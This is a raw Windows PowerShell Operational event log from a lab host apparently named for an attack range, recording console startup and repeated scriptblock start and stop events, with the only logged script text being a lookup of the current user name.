EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648978
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$env:UserName

ScriptBlock ID: 1ae01b3b-6c2e-4e5f-ab7a-2ba0d87b2382
Path:
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2648977
Keywords=None
Message=PowerShell console is ready for user input
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2648976
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6488 in AppDomain: DefaultAppDomain.
09/14/2021 01:24:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2648975
Keywords=None
Message=PowerShell console is starting up
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648992
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648990
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648988
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648986
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648984
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649002
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649000
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648998
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648996
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648994
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649012
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649010
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649008
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649006
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649004
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649022
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649020
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649018
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649016
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2649015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:24:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2649014
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa